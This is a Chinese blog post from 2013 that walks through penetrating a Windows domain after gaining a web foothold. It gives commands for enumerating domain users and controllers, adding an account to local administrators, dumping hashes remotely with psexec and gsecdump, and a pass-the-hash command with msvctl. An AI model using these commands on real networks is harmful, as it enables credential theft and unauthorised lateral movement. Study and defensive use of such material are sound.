2013年3月5日 星期二

域内网渗透中的思路之一


作者:黑鹰小子
来源:www.bhst.org

上次发了个内网的专题讨论,大家不活跃,下面我就抛砖引玉,写了篇烂文,希望众牛人砸上来,别藏着掖着啦,不抛弃,不放弃!!

●关于域服务器的搭建及配置

这个问题不是今天我们的重点,我们的重点放在域渗透中的疑点和一些深入的用法上,当然简单的扫描的话,大家可以自己尝试,测试环境:
为了大家便于理解笔者构造的场景的拓扑:

域内网DC/DNS:192.168.168.128
域成员服务器:192.168.168.114
外网Web,不处于该域: 124.16.x.x
意思是笔者通过Web获取了跳板,然后想通过该跳板渗透该域。大部分情况下大家可能会比较容易获得成员服务器的administrator密码,或者通过提权得到了管理权限。
●辨别域控的方法
网上给出的办法:
常用命令 net view
查看同一域/工作组的计算机列表
net view /domain
查看域/工作组列表
net view /domain:Secwing
查看Secwing域中 计算机列表
net group /domain
查看所在域的组
net user /domain
查看所在域用户
net user /domain zerosoul 12345678
修改域用户密码,需要域管理员权限
net localgroup administrators SECWING\zerosoul /add
域Users组用户添加到本地Administrators组,需要本地管理员或域管理员在本机登陆域后进行
下面的命令 只能用于 域控制器:
net group "Domain controllers"
查看域控制器(如果有多台)
net group
查看域的组
net group "domain admins"
查看域管理员
net group "domain users"
查看域管理员
第二种办法:
SRV 记录是一个域名系统 (DNS) 资源记录,用于标识承载特定服务的计算机。SRV 资源记录用于定位 Active Directory 的域控制器。要验证域控制器的 SRV 定位器资源记录,请使用下列方法之一。
Nslookup
Nslookup 是一个命令行工具,它显示的信息可以用来诊断域名系统 (DNS) 的基础结构。
要使用 Nslookup 来验证 SRV 记录,请按照下列步骤操作:
1.在 DNS 上,单击“开始”,然后单击“运行”。
2.在“打开”框中,键入 cmd。
3.键入 nslookup,然后按 Enter。
4.键入 set type=srv,然后按 Enter。
5.键入 _ldap._tcp.dc._msdcs.Domain_Name,其中
Domain_Name
为域名,然后按 Enter。
Nslookup 将返回显示为以下格式的一个或多个 SRV 服务位置记录,其中,Server_Name
为域控制器的主机名,Domain_Name
为域控制器所属的域,Server_IP_Address
为域控制器的 Internet 协议 (IP) 地址:
Server:localhost
Address:
127.0.0.1
_ldap._tcp.dc._msdcs.Domain_Name
(输入如:_ldap._tcp.dc._msdcs.blackeagle.com)
SRV service location:
priority= 0
weight= 100
port= 389
srv hostname= Server_Name.Domain_NameServer_Name.Domain_N
⑴如何获得域成员服务器的权限,即可以访问域的共享权限?
①通过gsecdump.exe
gsecdump.exe能从域服务器密码存储文件windows\ntds\ntds.dit中导出所有域用户hash的工具,并能从活动进程中导出hash,如果占领的机器的管理破解出来的话,则就可以尝试用破获的用户名密码来截取域中成员机器的HASH值
psexec \\192.168.168.x -u administrator –p test123!@# -c gsecdump.exe -u




②利用HASH注入来获得域中普通机器的权限(该思路主要是解决域控HASH无法破解,或者感觉没有必要破解的情况)

大部分的DC不会是和域普通成员机器的密码一样的,除非管理的水平不敢恭维,可能很多人尝试直接通过HASH通过RainbowCrack或者ophcrack来破解,但是如果LM HASH值无效等情况,则此方法就告一段落了,别急,还有HASH注入。

msvctl.exe Administrator::624aac413795cdc187c394d748ef4541:111f54a2a4c0fb3d7cd9b19007809ad6::: run cmd.exe

注入成功后,就会发现弹出新的CMDSHELL(抓取出来HASH信息已经导入本地的lsass进程,那么后续过程,相信大家也都懂了,只不过这里虽然还是本地的cmdshell,但是的确可以对域控等做相关操作),这里需要说明的是如果是溢出的CMD下,不会成功。



详细的大家可以参考国外给出的文档,比我写的好多了




大家可以自己测试。

最后解疑:

1.HASH注入的时候获取的是什么用户的SESSION值,则注入就是什么权限!

2.HASH注入中如果要获取域用户的HASH,是在域成员机器上是管理权限并且在该机器上有域用户登录过或者正在登录中,方能提取出其HASH

3.获得域成员用户权限,即授权用户的权限的合适的情况下,可能导出域控HASH,当然也可以在实现共享的情况下绑马,本文只是为大家提供一种思路而已

●本地用户账户和域用户账户的特点和区别
在操作系统中,计算机的账户是用户登录系统的钥匙,当用户想要进入一台计算机的操作系统对计算机进行操作和管理的时候,必须有一个相应的账户才可以,在windows环境下的计算机账户从计算机的管理模式来分主要分为本地用户账户和域账户两种,这两种账户各有哪些特点和区别呢:

1.本地用户账户是在工作组环境上或是域的成员机登录本地机器所使用的账户名和密码,而域账户是在域的管理模式下域上的用户所使用的账户.

2.本地用户账户存储在本地的sam数据库中,而域账户存储在AD(active directory)中.

3.使用本地用户账户的时候,用户只能使用该账户登录到本地计算机上,而使用域账户用户可以在整个域环境中所有的计算机上进行登录.

4.本地账户只能在账户所属的计算机上进行管理,每个计算机上的管理员单独管理自己机器上的本地账户,而域账户通过AD用户和计算机管理工具进行统一的管理.
●域用户账户的管理
域用户账户是用户访问域的唯一凭证,因此在域中必须是唯一的。域用户账户保存在AD(活动目录)数据库中,该数据库位于在DC(域控制器)上的\%systemroot%\NTDS文件夹下。为了保证账户在域中的唯一性,每一个账户都被Windows Server 2003签订一个唯一的SID(Security Identifier,安全识别符)。SID将成为一个账户的属性,不随账户的修改、更名而改动,并且一旦账户被删除,则SID也将不复存在,即便重新创建一个一模一样的账户,其SID也不会和原有的SID一样,对于Windows Server 2003而言,这就是两个不同的账户。在Windows Server 2003中系统实际上是利用SID来对应用户权限的,因此只要SID不同,新建的账户就不会继承原有的账户的权限与组的隶属关系。与域用户账户一样,本地用户账户也有一个唯一的SID来标志账户,并记录账户的权限和组的隶属关系。这一点需要特别注意。
当一台服务器一旦安装AD成为域控制器后,其本地组和本地账户是被禁用的

gsecdump-0.7-win32.zip
msvctl_0.3.zip



沒有留言:

張貼留言

用APNIC找出台灣所有的IP位址